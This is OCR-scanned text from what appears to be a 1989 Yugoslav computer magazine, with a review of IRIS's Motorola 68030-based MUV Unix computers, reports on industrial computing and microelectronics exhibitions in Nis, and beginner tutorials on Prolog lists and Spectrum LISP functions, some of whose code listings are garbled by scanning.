ge termotehnicari vec rade nesto po tom pita-
njm Problem je medutim sto je, konkretno u
slucaju Bcograda, Vodovod do§ao do nivoa da
im je ovakav sistem vec sada potreban, ne
znam da li je takva situacija i sa Beogradskim
elektranama. Verujem da je to samo pitanje
trenutne situacije.

• • •

Preostaje nam samo da cestitamo na ovom
uspehu i pozelimo Energodati, a posebno dr
Dusanu Obradovicu i ing. Rajku Cavoru, uspe-
he u buducim aktivnostima, Na zalosti. njihov
uspeh mnogi ce i dalje smatrati manje znacaj-
nim od pobede grupe Riva na Pesmi Evrovizi-
je, all (za razliku) ovih 0,1 milion dolara koris-
tice svima nama.

O T. Stancevic

Svet igai''3 5 S® kupite mo2ete imati

je u prodaji. XC-64 + 2xX^ ... ili neku drugu nagradu
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JVIUV
nova serija

IRIS-ovih

kompjutera
Sarajevski „HoUdej In'’je od 4.

do 7. aprila ove godine bio
mesto gde je
„Energoinvest-IRIS" predstavio
svoje novo remek deJo: cetiri

kompjutera iz serije MUV. Tih
dana (tacnije 6. 4.) je i Dan
oslobodenja Sarajeva, pa je i

ova prezentacija uvelicaia ovaj
praznik.

N
Pise ^amir Kibic

aziv kompjutera je manje zvucan
od, recimo, IRIS PC 16, a osim toga,

neko bi u razgevoru lako pogresio u
pisanju njegovog imena, jer se engleska rijec

„move'’ izgovara na isti nacin. Zasto je IRIS
odustao od svoje uobicajene numeracije kom-
pjutera (IRIS <tip mikroprocesora>: IRIS 8

je osmobitni, IRIS 16 sesnaestobitni)? Zbog to-

ga sto vec odavno postoje VAX-oliki IRIS 32 i.

zacudo, IRIS 23 (kao da postoje dvadeset tro-

bitni kompjuter). S obzirom da je koncepcija
potpuno raziicita, i da nije u pitanju nikakav
nasljednik, dato je i novo ime.

MUV je - pomak!
Stvar postaje jasnija kada kazemo da je ime

ovog racunara skracenica od Motorola-Unix-
-VME. Dakle, tu smo. Motorola 68000? Ne, ne-
go cak Motorola 68030! Znaci mocan mikrop-
rocesor sa kojira mikrokompjuteri definitivno
obaraju velike kompjutere i na njihovom naj-

jacem poiju - multikorisnickom radu. Zavisno
od modela, frekvencija na kojoj radi „srce"

kompjutera krece se od 20 do 33 MHz. Pri

ovakvoj frekvenciji nije presporo ni ako vise

ljudi pored vas „cacka'' po sistemu.
Predstavljena su cetiri modela MUV serije:

IRIS-MUV 30 je najmanji od ova cetiri kom-
pjutera, ali to uopste ne znaci da je slab. Na-
protiv, Predviden je za 4 korisnika, ali se moze
prosiriti tako da opsluzuje do 12, Ovde „tride-

setica" radi na 20 MHz, ima cetiri RS232 inter-

fejsa, vincester-disk od 155Mb, strimer jedini-

cu od 150 Mb i floppy disk od 1,2 Mb. RAM
ima 4 Mb, a sam UNIX operativni sistem od
toga zauzima polovinu,

IRIS-MUV 30A je za 8 do 16 korisnika.

Frekvencija 25 MHz, 8Mb RAM-a, 12 RS232 ili

422 linija, vincester disk 344 Mb. Strimer i flo-

pi disk su kao kod prethodnog modela.
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IRIS-MUV 31 je za vi§e od 16 korisnika.

Klok takode 25 MHz. 16 Mb RAM-a. 18 RS232
interfejsa, vincester diskovi od 344 i 638 Mb i

standardni strimer i flopi disk.

IRIS-MUV 31A je predviden za 34, a uz pro-

sirenje do 42 korisnika. Klok je 33 MHZ. RAM
24 Mb, ima 34 RS232/422 interfejsa. dva vin-

cester diska od po 638 Mb. Flopi i strimer su

isti, a maksimalni RAM je 40 Mb.

Suvi podaci

• Posto smo pomeniili sva cetiri modela i uze-

li neki osvezavajuci napitak da se povratimo

od skoro gigabajtskih cifara, vracamo se op-

stim detaljima. Srce sva cetiri kompjutera je

takozvana VME sabirnica (Bus). MUV 30 i

MUV 30A imajii sabirnicu s 5 VME modula, a

MUV 31 i MUV 31A imaju 12 modula. Naime,

sva cetiri kompjutera su modularno organizo-

vana, te je jednostavno povecavati ili smanji-

vati mogucnosti kompjutera. Moduli su, inace,

dimenzije jednog „Speclruma 48K", a ni integ-

risana kola na njima nisu puno gusca. Da cov-

jek ne povjeruje da je na toiicnom prostoru

osam megabajta RAM-a plus procesor, MMU,
sat realnog vremena s baterijskim napajanjem.

Druge ploce (sve su tzv. dvostrukog EURO
formata) nam omogucavaju jos memorije, disk

kontrolere itd.

Zahvaljujuci ovim plocama kompjuteri od-

rzavaju naziv mikro, jer su MUV 30 i MUV
30A dimenzija ladice jednog regala, a MUV 31

i MUV 31A su veliki kao dvije ladice, Ne treba

zaboraviti da je u taj prostor usao i hard disk.

kao i kompletna klimatizacija. Verzija MUV
31 na posebnoj ploci ima periferijski kontro-

ler,

Pored procesora, svi modeli imaju aritme-

ticki koprocesor. Dakle. uoinilo se sve da se

rad §to vise ubrza,

Ocito je da Iris napreduje. Prije 5 godina, to-

liki prostor je zauzimala ..osmica", ne bas sjaj-

nih karakteristika (cak i za ono vrijeme), nu-

deci 1 ili 2 flopija, 48 K memorije i procesor

6502. A giganti nase privrede dicili su se „or-

manima" toji su zauzimali cijelu sobu i nudili

..cak" 2 megabajta.

Veza sa svetom (kompjuterima)

Kazimo nesto o flopi diskovima. Prostor od

1.2 Mb vec je poznat korisnicima IBM PC AT.

Stavise, moguce je citati AT-ov format disketa

i unositi podatke. U Irisu obecavaju i potpuni

softverski emulator AT-a; posto je MS-DOS
programe moguce naci na svakom mjestu, a

UNIX programe ne ba§ tako lako, ovaj pro-

gram cekamo s nestrpljenjem. jer je §teta da

ovoliki hard diskovi budu poluprazni.

Kad vec govorimo o AT-u, spomenimo i to

da je IRIS prikazao jedan svoj IRIS 16 u sprezi

s kompjuterom MUV 30 (uzgredo ni „sesnaes-

tica" nije ono sto je nekad bila, sada postoji i

AT verzija). Pomocu posebnog programa na

PC-ju priman je odziv s UNIX-a, pa se PC po-

nasao kao terminal. Pritisak na dva tastera bio

je, medutim, dovoljan da se ponovo vidi pro-

mpt na koji smo navikli: C>

.

Pored veza preko RS232 ili RS422, na koje

se prikljucuju svi terminal!, moguca je veza sa

ETHERNET mrezom, veze preko modema,

JUPAK... Razmislja se i o povezivanju sa inter-

nacionalnim UNIX sistemima.

Terminaii obicno komuniciraju na 9600 ba-

uda (bita u sekundi), ali brzina se bez proble-

ma moze povecati na 19200.

Hard disk je jedno od svetskih cuda. Na di-

menzijama standardnog hard diska stalo je

638 Mb. Tacno je da ovo nije nista prema op-

tickim diskovima, ali ne treba zaboraviti neu-

poredivo veci komfor koji hard diskovi pruza-

ju u radu, Strimer jedinica zamjenjuje magnet-

ne trake iz starih racunskih centara.

Softver

0 UNIX-u je vec mnogo pisano. Ova verzija

nosi naziv V.3. Osnovna prednost ove verzije

je u mogucnosti rada s virtuelnom memori-

jom. Jedan od terminala se zove konzola i pri

njegovom startu se pojavi poruke Console lo-

gin. Ostali terminaii prikazuju samo obicno lo-

gin. Nije moguce na obicnom terminalu prija-

viti se kao root. .Root je, kao §to je poznato.

ime „superuser"-a, odnosno glavnog korisnika

UNIX sistema. Implementirana je i komanda

„su" pomocu koje svaki korisnik, ako zna sif-

ru, moze postati „super-korisnik’’. Po pravilu,

medutim, to pravo koje dopusta svakakva bri-

sanja i manipulacije, moze imati iskljucivo je-

dan ili dva covjeka. Sistem je moguce startova-

ti bilo s diska, diskete ili trake, uz pomoc har-

dverskih preklopnika.

Unix je na disku zauzeo oko 40 megabajta, a

svega 2 megabajta je stalno u memoriju, U

sklopu njega dato je i nekoliko programskih

jezika: FORTRAN, 68000 Assembler (nismo

uspeli da saznamo da li su u njemu implemen-

tirane sve nove osobine 68030 procesora) i je-

zik bez koga nijedan UNIX kompjuter ne mo-

ze - „C".

Iris, medutim, prodaje i razvojne sistema za

Pascal i COBOL, kao i bazu podataka Oracle.

Takode. tu je i OFFI. sitem za autoraatizaciju

uredskog poslovanja. Steta sto Pascal kompaj-

ler nije bio prikazan na prezentaciji. I sam

IRIS razvija neke aplikacije u COBOL-u i

mnoge su u pripremi.

Kazu da je MUV vrio brzo izvrsio sve ben-

cmark testove predvidene za UNIX. Tesko je,

naravno, suditi o brzini visekorisnickih kom-

pjutera, jer cesto mi nismo jedini u vezi s kom-
pjuterom, pa vrijeme izvrsavanja programa

drasticno raste. Dodajmo jos i vrijeme da se

posalje i primi komanda...

Dokumentacija

Dokumentacija o MUV kompjuterima je is-

kljucivo na engleskom. Vjerovatno nikada ne-

ce biti ni prevodena, materijal je obiman, a

ovo je ipak preskup sistem da bi se prodavao u

tolikim kolicinama u kojim je prevodenje is-

plativo. Isporucuju se sljedece „encikiopedije”:

- User's reference manual: za pocetnike, na-

redbe poredane po abecedi:

- User's Guide - vodic za pocetnike

- Programer's Reference Manual - govori o

sistemskim pozivima, upotrebi biblioteka...

- Programer's Guide - vodic za programere,

asembler
- Administrator Reference Manual
- Administrator Guide.

Utisak

U vrijeme nastanka IRIS 8 je bio standard

proslosti, IRIS 16 - sadasnjosti, a MUV vjero-

vatno - sistem buducnosti. Ako izuzmemo ci-

njenicu da je i 68030 dobio nasljednika u

68040 i 88000 seriji, kompjuteri su savremeni

da savremeniji ne mogu biti. Prvog covjeka

IRIS-a, prof, dr Zorana Salcica, upitali smo za

njegovo misljenje o ovim kompjuterima. On je

rekao da su svakako u svjetskom trendu.

vrhunskih perfomansi i sigurno tehnoloski

najsavremeniji kompjuteri u Jugoslaviji. Tako-

de je izjavio da je cijena ovih kompjutera od

200 miliona do dvije milijarde novih dinara.

Reci ce neko da je cena prevelika za jedan

mikro-kompjuterski sistem. Mozda. Ne treba,

medutim, zaboraviti da imamo moc jednog

velikog IBM sistema sa dimenzijama „za pod

stol". Ne treba nam ni posebna soba ni klima-

tizacija. Osim toga, moguce je i udruzivanje

sredstava.

• • •

Divno bi bilo kad bi u veam gradovima po-

stojali kompjuteri ovakve snage dostupni sva-

kome, jer na ovolike diskove mogu, recimo,

stati sva izdanja nekog leksikografskog zavoda

pa bi bilo ko bez problema trenutno mogao
doci do svake informacije koja mu treba. To je

masta, naravno. ali je masta bila i sama pomi-

sao da ce kod nas biti ovakvih kompjutera.

O
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i CIMshow
I

Kao prateci program
medunarodnog CIM seminara, od
18. do 21. aprda u Nisu je odrzan
CIM sou, jedna od boljih iziozbi

kompjutera i kompjuterske tehnike
u nasoj zemlji.

Na zalost, prakticno nikakva reklama ucini-

la je da CIM Sou bude gotovo bez posetilaca

iako je ulaz bio besplatan! Osim nekoliko reci

na Radio Nisu. uopste se nije culo o ovoj izioz-

bi tako da su jedini posetioci bili ucesnici se-

minara i poneki prolaznik, a moglo se dosta

videti.

CIM sou je predstavio kompjuterske proiz-

vode koji se upotrebljavaju u industriji, tako
' da se uklopio u osnovni zadatak CIM semina-

ra, Predstavili su se vodeci svetski proizvodaci

1
CAD/CAM opreme i domaci proizvodaci pro-

cesnih kompjutera i opreme.

Tektronix je americka firma ciji su predstav-

nici sa puno stila privukli paznju prisutnih.

Prvi put su predstavljene odlicne grafi2ke rad-

ne stanice 4211 NETSTATION, sa 2D ili 3D
grafikom. Zasnovane su na procesoru Motoro-

^
la 68020 sa matematickim koprocesorom
68881, grafikom 4096 x 4096 tacaka, bar dis-

I kom 300 Mb itd. Prikazan je i sjajan laserski

I stampac i druga dodatna oprema.
' Proizvodac koji bi mozda trebalo da se po-
* mene i pre Tektronixa je svakako Hewlett-

-Packard. Zvezda njihovog standa je novi

..SDRC” softver na radnim stanicama serije

HP 9000/300.

Od ostalih izdvajamo firmu Control Data sa

softverskim paketima za projektovanje na rad-

nim stanicama prikljucenim na mini-super

kompjuter Cyber 910, zatim kanadsko-jugoslo-

venska softverska kuca SDC-CIP sa paketom
Mozaikus XXI, vrlo fleksibilnom aplikacijora,

Honeywell Bull sa radnim stanicama, PC i

PS/2 kompjuterima, programed Niskog uni-

verziteta sa sopstvenim paketom za projekto-

vanje. Energodata se predstavila ED^hs pake-

tima, RO Informatika procesnim racunarima

povezanim za PC-e, a Ei - RO Racunari poka-

zali su jeftine industrijske terminale koji se

preko Ring NET mreze mogu povezati nakla-

sican PC.

SBVHfMAR IMiS 'B9

CIM seminar

Povod za odrzavanje izlozbe CIM show smo
(mozda nepravedno) ostavili za kraj. CIM se-

minar odrzan je drugi put. Domacin je bio

Masinski fakultet i Institut „Edvard Kardelj" iz

Nisa, a u organizaciji su ucestvovali i Tehnicki
fakultet u Mariboru i Ei Honeywell Bull.

Predavanja su odrzali vrhunski strucnjaci iz

Engleske, Cehoslovacke, Nemacke, Svajcarske

i nase zemlje. Seminar je obradivao teme iz

oblasti primene kompjutera u industriji, a po-

sebna paznja posvecena je CAPP (primena

kompjutera u planiranju tehnoloskih procesa).

Uz sitne propuste, CIM seminar sa CIM sou-

om bitno je doprineo informisanju domace
privrede o navedenim temama i ucinio da mo-
zemo reci „Ipak se krece!"

<C> D. Stojicevic

Svet kompjutera u „Frontu"

Ilustrovani list ..Front" je marta meseca
otpoceo saradnju sa ..Svetorn kompjutera".

Rezultat te saradnje je stalna rubrika u

..Frontu" posvecena kompjuterima. Pisano

je 0 osnovama racunarske tehnike. hardve-

ru. softveru, a tokom leta objavice se pri-

kazi najpopularnijih mikroracunara, sof-

tvera i igara §to ce svakako biti interesan-

tno svima koji imaju, ili tek razmisljaju o
nabavci kompjutera. Sem kompjutera, .u

..Frontu" postoje rubrike posvecene videu,

automobilizmu, naucnotehnicka panora-

ma. putopisi, naucno fantasticne price i,

naravno, mnostvo napisa vezanih za JNA.
Front izlazi jednom u dve nedelje i kos-

ta, verovali ili ne, svega 800 dinara.

MIEL 89
17th YUGOSLAV CONFERENCE

ON MICROELECTRONICS

MIEL '89. u Nisu
Druga, vrlo dobra iziozba u roku od petna-

estak dana u Nisu, otkriva nam drugu stranu u
svetu tehnike. U Nisu je, u organizaciji Elek-

tronskog fakulteta, odrzana sedamnaesta tra-

dicibnalna konferencija o mikroeleklronici

MIEL '89 u okviru koje je odrzana iziozba

mikroelektronike. Izvedena je vrlo profesio-

naino, a izlagaci su imali sta da prikazu. Izioz-

ba je trajala od 9. do 11. maja u holu Elektron-

skog fakulteta. Tokom trajanja izlozbe odrza-

vane su prezentacije proizvoda izlagaca od ko-

jih je najvise paznje privukla prezentacija fran-

cuskog dela firme TEKTRONIX koje je odtiao
profesor C. Flato.

Ova izuzetna manifestacija okupila je po-

znate firme iz celog sveta u oblasti mikroelek-

tronike pocevsi od SONY, Heraus, Hawlett-

-Packed koji su prikazali dostignuca u svetu,

pa do nasih EI-Racunari, „Rudi Cajavec", RIZ,

..Avtotehna" itd. Na ovoj iziozbi se pored iz-

vrsnih radnih stanica firme Tektronix, moglo
videti kvalitetnih proizvoda u oblasti primene
mikroelektronike u hemiji, industriji, pa cak i

u domacinstvu.

Kao i uslucaju CIM-SHOW-a ponoviia se

greska organizatora, bilo je veoma malo pose-

tilaca.osim studenata, ucesnika konferencije i

specijalno pozvanih gostiju. A sigurno je da bi

ova odlicna iziozba podstakla niske hakere da

se nadu u blizini Elektronskog fakulteta,

Jo§ jednom moramo pohvaliti organizatora

koji je svojim izdanjima raznih bro§ura i kata-

loga izvrsno upoznao strane i domace goste sa

nasim idejama i proizvodima. Zato i postoje

takve prilike.

O D. Stojicevic
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PROGRAMSKIJEZICI

PROLOG

(
2
)

Pise Aleksandar Radovanovic

Primer 2

U drugom primeru resen je problem nalaze-
nja rastojanja izmedu dva grada. Na pocetku,
data je kratka baza cinjenica sa imenima gra-
dova i njihovim medusobnim rastojanjima.
Put izmedu dva grada nalazi se iz pravila da je

rastojanje izmedu zgrada G1 i grada G2 jedna-
ko rastojanju izmedu grada G1 i nekog grada
G plus rastojanje izmedu grada G i grada G2.
Koji je to grad G, prepustamo prologu da nade
u bazi podataka. Na primer, ako se trazi rasto-
janje izmedu Ljubljane i Ni§a program ce pro-
naci put, iako takav podatak ne postoji u bazi,
jer su ova dva grada vezana preko Beograda i

Zagreba, Prepoznajete, opet, metod bektrekin-
ga-

Primer 3

Formiran je recnik. Postavljanjem upita rad,
program pita koju rec zelite da prevede, a za-
tim daje prevod. Ukoiiko rec ne postoji. pro-
gram trazi njen prevod i upisuje je u recnik. Iz

programa se izlazi kucanjem znakova $$$.
Pre prvog startovanja programa na disku

treba kreirati praznu datoteku reci.dba. To-
kom koriscenja program sam uvecava sopstve-
nu bazu znanja upisujuci je u ovu datoteku.
Predikat rad sastoji se iz dva predikata. Prvi,
predikat consult, ucitava bazu znanja u me-
moriju, a drugl, prevod, obavlja dijalog sa ko-
risnikom. Ukoiiko prvo pravilo nije zadovolje-
no, odnosno. korisnik je odlucio da izade iz

programa, azurirana baza znanja snima se na
disk prema drugom pravilu koriSdenjem ugra-
denog predikata save.

Predikat prevod obavlja dijalog sa korisni-
kom pisuci mu poruke, ucitavajuci reci koje
korisnik kuca i pozivajuci predikat prevedi ko-
ji neposredno prevodi zadatu rec. Predikat
prevedi trazi zadatu rec u bazi znanja koja je

formirana kao skup Cinjenica; reCnik (rec, pre-
vod), pri cemu nije bitan redosled, odnosno
svejedno je da li stoji recnik (majka, mother)
i)i recnik (mother, majka). To znaci da recnik
vrsi prevod u oba smera. Ukoiiko trazena rec
ne postoji u bazi, od korisnika se trazi da je

upiSe, a program ugradenim predikatom as-

sert formira novu cinjenicu u bazi. Koliko pro-
log jednsotavno resava ovaj problem vidi se i

iz toga §to je broj reci utrosen na njegovo ob-
jaSnjavanje veCi od du2ine programa.

Liste

Mozda najmocniie „oruzje" prologa jeste

mogucnost rada sa listama. Lista neki skup
podataka koji se pise razdvoje'. zarezima i

omeden je sa dve uglaste zagr-.de. Na primer,
lista imena;

[kiza, gabi, koja, kitil)

ili lista brojeva;

2, 34],

Prvi element liste naziva se glava, a ostatak
je rep. U gornjim primerima glave su kiza i 76.
Lista moze biti i slozena:

[miki, joca, kiza, gabi].

Ovde je glava lista [mild, joca], a kiza i gabi su
rep. PoSto je i glava lista, njena glava je miki, a
rep joca. Prazna lista oznacava se parom ug-
lastih zagrada

[j
. Lista nepoznatog sadrzaja se

u pravilima oznaCava sa dve promenljive raz-
dvojene uspravnom crtom. Na primer, [G I R]
je lista koja ima glavu G i rep R,

KoriScenje ove strukture podataka je razno-
liko. Na primer, recenica se raoze tretirati kao
lista reci, tokom njene analize. Cesto se na
prologu piSu takozvani parsed, tj, program! za
analizu recenica. Zahvaljujuci parserima, ba-
zama podataka moze se pristupati kucanjem
najobicnijih recenica. Na primer upit za bazu
koja sadrzi geografske podatke o nasoj zemlji
moze izgiedati ovako: »

Koja je najduza reka u Jugoslaviji?
U primerima 4 do 9 prikazani su predikati

za najosnovniji rad sa listama.

/' Nalaz«n)e tluzinc puts tanedju dva prada

R - Dl 02. I

,

put lai. V52. Ri raoto.ian.ie ii32. ij. 02l,
put C5. Gl. Dl>,
R - Dl • 02.

rad consult ( "reci-aba ’i
, prevod.

raa save I "ree 1 .dbe" j

.

prevedi iX. Xi recnik lY. X).
prevedi iX. Yi ;- X < > "*** ".

dodaj lE, II , [EU ,

doda} lE. IGIRI. IGlRlIi dodaj i£, R, Kli

/• Primer 7;
/* brisan.te elotnenia is liste

briBl (E, lElR). B) t

brisi lE. IG.RI, IGlRili oriel lE R. Rl*

Primer 4
Predikat broj broji elemente liste. Pravila

koja ga cine vrlo su jednostavna. Prvo je da je

broj elemenata u praznoj listi jednak nuli.

Drugo, da je broj elemenata u list! koja ima
glavu G i rep R jednak broju N ako je broj ele-

menata u listi koju cini rep prethodne Nl. i N
= N1 + 1. Ovo je rekurzivna definidja i pro-
log ce skraCivati poCetnu listu sve dok ne dode
do prazne, za koju de N biti 0, a zatim de se
vradati do pune liste uvecavajudi N po 1. Pred-
ikat broj St, na primer, poziva upitom:

broj ([1, 2. 6, 3], X).

Primer 5
Predikat dodaj dodaje elemenat na kraj lis-

te. Prvo pravilo glasi da dodavanje elementa E
na praznu listu cini listu sa tim elementom.
Drugo pravilo je. kako smo vec navikli, rekur-
zivno i glasi: dodavanjem elementa E na listu

koja ima glavu G i rep R cini listu sa istom
tom glavom i nekim repom Rl ako se element
E doda listi na rep i dobije Rl.

Primer 6

Spajanje dve liste u jednu definiiu. takode,
dva pravila. Spoj prazne liste i, neke liste L cini

listu L. Spoj dve liste sa glavom i repom dini

listu sa glavom prve i nekim repom Rl ako je

rep Rl spoj repa prave liste i liste koja se spa-
ja.

Primer 7

Odstranjivanje elementa iz liste, takode, je

jednostavno. Ako je element koga treba od-
straniti glava, od liste ostaje samo rep. O tome
govori prvo pravilo. Ako se element koga tre-

ba obrisati nalazi negde u repu liste koja ima
glavu G i rep R. rezultat je lista koja ima glavu
pocetne, dakle G, i neki nepoznati rep Rl ako
se on dobija brisanjem elementa E iz repa R.

Primer 8

Najmanji element liste sa jednim elemen-
tom je sam taj element. Najmanji element liste

koja ima glavu G i rep R je glava G ako je naj-

manji element repa jednak G1 a G je manji od
njega. Ako ovo nije zadovoljeno onda se naj-

manji element nalazi u repu, o Cemu govori
trece pravilo.

Primer 9
Sortiranje liste nije problem na prologu.

Ako sortiramo praznu listu dobijamo takode
praznu listu. Sortiranje liste sa glavom i re-

pom daje listu sa glavom G1 i repom Rl ako je

G1 najmanji element u listi. Taj element se bri-

§e iz liste koju sortiramo, pa se pravilo opet
primenjuje sve dok ne Ispraznimo pocetnu lis-

tu,

Jednostavno i (nejefikasno

Lako se primecuje da navedene algoritme
ne krasi efikasnost, odnosno brzina. Ovo je, iz-

gleda, cena kojom se piaca jednostaynost pro-
gramiranja. U prvom nastavku nale male sko-
le prologa reCeno je da se ovaj jezik najCesce
pravi u rormi interpretera, dalde, programira-
nje se vr§i kroz stalni dijalog sa korisnikora. U
cilju povecanja brzine pojavili su se i prolog
kompajleri. Ukoiiko imate PC raCunar, Bor-
landov Turbo Prolog je dobar i upotrebljiv

kompajler; potpuno odgovara standardu pro-
loga, osim §to se na pocetku programa moraju
deklarisati tipovi podataka i korisCeni predi-

kati. Turbo prolog je upotrebljiv i za izradu
komercijalnih baza podataka jer sadrzi rad sa

prozorima i grafiku. Sto se tice drugih racuna-
ra, gotovo za svaki postoji neka verzija ovog
jezika. Pomenudemo samo Mikro prolog za
Spectrum koji, na zalost, ne odgovara standar-

du, ali je dosta dobar.

• • •
Zavr§avamo na§u mini skolu. Iako smo sa-

mo zavirili u mogucnosti prologa nadamo se

da smo vas zainteresovali za ovaj lepi jezik

o
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Funkcije

LISP-a
U ovom broju upoznacemo se sa

najvaznijim nardbama, tj,

funkcijama LISP-a. Kao primjer
LISP interpretatora uzeli smo
„Specitrumov" „SpecLisp 1.3".

Na ovo smo se odlucili Jer je u
pitanju verzija s minimumom
ugradenih funkcija, pa nije

tesko prilagoditi program
napisan u ovom LISP-u za neki
drugi. Naravno, dodatne
mogucnosti nekih naredbi bice

posebno naglasene. Drugi razlog
je u cinjenici da je

„Spectrumov" LISP sigurno
jedan od najslabije poznatih
programa za „Dugu", a o
ozbiljnoj primjeni ovog racunara
moze se jos pisati

P
Pi§e Samir Ribic

ocecemo od funkcije oblist. Argumen-
ti za nju nisu potrebni.

Primjer:

(oblist)

Izvrsenjem ove funkcije bice ispisan spisak

svih funkcija i varijabli koje smo koristili, kao

i LISP-ovih. Kao rezultat vraca nil.

Funkcija exit je bez argumenata, Rezultat je

iskakanje iz funkcije, kao da je pritisnut BRE-
AK. Ne vra6a rezultat. Ekvivalentna je naredbi

stop u BASlC-u,

Funkcija pch kao argument trazi broj. Efe-

kat je ispis karaktera s navedenim ASCII ko-

dom, Rezultat je navedeni argument.

Primjer;

(pch 65}

Ovaj primjer ispisuje slovo „A", a ako je po-

zvan kao komanda, ispisace i 65,

Siucajan broj izmedu 0 i 255 se generise fun-

kcijom md, kao §to se moglo 1 ocekivati. Fun-

kcija je bez argumenata, a kao vecina funkcija

ignorise ih ako su suvisni (ovdje jesu).

Primjer:

(md)

Za rad s TURTLE grafikom sluze funkcije

pend i penu. Funkcija pend spusta pero kor-

njace, a penu ga podize. Argument! nisu po-

trebni. Ako ih ima funkcija vraca njih kao vri-

jednost ali u normalnim okolnostima rezultat

je nil.

Primjeri;

(pend)

(penu)

Prvi primjer spusta pero kornjace, drugi ga
dize.

Od gornjih funkcija ne bi bilo nikakve koris-

ti da ne postoje i funkcije za pomjeranje kor-
njace. Funkcija fwd je pomjera, funkcija right

je rotira udesno a funkcija left ulijevo.

Primjer; Otkucajte sljedeci niz funkcija

(pend)

(fwd 100)

(left 30)

(fwd 50)

Ocito je da ove tri funkcije kao argument za-

htijevaju broj, Hi kako se kaze u terminologiji

LISP-a numericki atom, a kao rezultat vracaju

isti taj broj.

Argument! navedeni za prethodne tri fun-

kcije vaze i za sljedece tri. koje su specificnost

Spectrumovog dijalekla LISP-a. To su iz BA-
SlC-a poznate nam border, paper i ink. Njiho-
va svrha je spektrumovcima sigurno poznata,
postavljanje boja. Primjetimo da se u editoru

efekti naredbi paper i ink primjecuju tek na-

kon els.

Primjer:

(save Ispprog)

a ne

(save (quote Ispprog))

Print je funkcija koja ispisuje navedeni ar-

gument. Probajte, recimo
(print 5)

(print (quote (rijec)))

Kao rezultat vraca t.

Za brisanje ekrana sluzi els. Kao rezultat

vraca t.

Funkcija read vraca s tastature unesenu vri-

jednost koja moze biti bilo atom bilo lista.

Primjer:

(print (read))

(setq a (read))

Drugi primjer simulira BASIC naredbu INPUT
A.

Funkcija member, u neldm verzijama LIS-

P-a memberp, pretpostavija da je prvi argu-

ment atom, a drugi lista. Ako taj atom pripada
listi, ona vraca t, inace vraca nil.

Primjer;

(member 8 (quote (7 8 9)))

Primjeri;

(border 4)

(paper 4)

(ink 0)

Za kontrolu malog termickog §tampaca slu-

zi prt. Pri prvom startu ove naredbe bez argu-

menata sav ispis vrsice se na stampacu. Po-

novno prt vraca ispis na ekran, Rezultat je t.

Funkcija trace je predvidena da nam pri iz-

vrsavanju nasih funkcija ispisuje sadrzaj pro-

mjenjivih. Argumenata nema. Ponovnim star-

tovanjem ovaj rezim se isldjucuje.

Primjer:

(trace)

Funkcije za rad s kasetofonom su save, load

i verify. One snimaju, ucitavaju i verifikuju

sve nase rijeci. Zanimljiva osobina ovih nared-

bi je da im ne treba quote za ime.

(member (quote maslina) (quote (jabuka

tresnja kruska)))

Prvi primjer daje t jer je 8 zaista element liste

(7 8 9), a drugi nil, jer rijec maslina ne spada u

ovu listu. Zanimljivo je da ako su oba elemen-
ta atomi, bez obzira bill jednaki ili ne, vratiie

t.

Za obrtanje liste naopako sluzi funkcija re-

verse.

Primjer:

(reverse (quote (4 5 6)))

Ovo ce ispisati listu (6 5 4). Reverse od atoma
je on sam,

Vec je receno da LISP moze da izvrsava i

ono zapisano u promjenjivima. Funkcija apply

zahtijeva dva argumenta. Prvi je alfanumeric-

ki atom i sadrzi tekst imena funkcije koju na
ovaj nacin indirektno pozivamo. Drugi argu-

>
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ment je lista koja sadrzi argumente indirektno

pozvane funkcije. Jasno on moze biti i atom,

ako je takva funkcija.

Primjer:

(apply (quote border) (quote (5)))

Rezultat ove funkcije je kao funkcije border.

Jednakost dva atoma ili dvije liste provjera-

va se funkcijom equal. Ako su jednaki rezultat

je t, inace je nil.

Primjer:

(equal metar 40)

(equal (quote lisp) (quote lisp))

Prva funkcija ce vratiti t ako je sadrzaj varijab-

le metar jednak 40, a nil ako nije. Druga ce

uvijek vratiti t.

Jedan od nacina citanja vrijednosti varijable

je funkcija eval. lako vrijednost varijable mo-
zemo dobiti direktnim kucanjem njenog ime-

na, tu istu vrijednost mozemo dobiti i ako je

tekst varijable sadrzaj neke varijable.

Primjer:

(eval (quote ttq))

Ovo ce ispisati sadrzaj varijable ttq. Elcviva-

lent u Sinclair BASIC-u je PRINT VAL "ITQ"
dok je u ostalim BASIC-ima ovo teze izvoditi.

Funkcija nill uvijek vraca nil. bez obzira na
argument. Tako se ne moramo muCiti da pra-

vimo na§u funkciju koja ne vraca korisnu vri-

jednost.

Primjer:

(nill (border 5))

Za pravljenje ciklusa sluzi while ciji je opsti

oblik

(while predikatska_funkcija funkcijal fun-

kcija2... funkcijan)

Izracunace se vrijednost predikatske funkcije

(to su one koje mogu imati vrijednost t ili nil).

Ako je t, izvrsice se sve ostale, a ako je nil izla-

zi se iz petlje. Ako je bilo t i izvr§ile se sve na-

vedene funkcije, ponovo se racuna predikat-

ska i tako u krug dok ona ne postane nil.

Primjer:

(while (equal a 8) (setq a (read)) (oblist))

Prije nego isprobate ovaj primjer, otkucajte

(setq a 8). Sada otkucajte navedeni primjer.

Sve dok unosimo broj 8 s tastature, bi6e ispisi-

van spisak svih funkcija,

Drug! LISP-ovi, ali ne i Spectrumov, imaju

petlju realizovanu pomocu funkcije LOOP.
Kod nje naizmjenicno mozemo imati predikat-

ske i „obicne" funkcije, ali se moze ponaSati i

kao preimenovana while funkcija.

Funkcije putprop, get (ponegdje getprop) i

remprop sluze za formiranje relacija izmedu
dva atoma, slicno Prologu. Funkcija putprop

ima tri argumenta. Prvi i tree! moraju biti alfa-

numericki atomi, dok drugi moze biti i lista.

Drugi argument uspostavlja vezu izmedu
prvog i treceg. A ako nam je poznat prvi i treci

argument, tu vezu mozemo pronaci pomocu
funkcije get. Dacemo primjer jednog popisa

stanovnistva.

(putprop (quote Markovic) (qi’jte 1954)

(quote godina.rodenja))

(putprop (quote Markovic) vquote vodoin-
slalter) (quote zanimanje))

(putprop (quote Markovic) (quote Jugoslo-
ven) (quote nacionainost))

Zamislimo da smo ovako unijeli sve podatke o
Markovicu. Nakon izvesnog vremena intere-

suje nas sta je on po zanimanju. Nista lakse od
toga. Otkucacemo: (get (quote Markovic) (qu-

ote zanimanje)) i na elcranu ce se pojaviti rijec

vodoinstalater, Remprop trebalo bi da ukine

vezu izmedu ova dva atoma, ali samo vraca t

ako veza postoji, a nil ako ne postoji.

Kada definisemo na§u funkciju, pozelicemo

da se naredbe redaju kao u vecini program-
skih jezika. Funkcija progn ima sljedecu sin-

taksu:

(progn lista. promjenjivih funkcijal funkei-

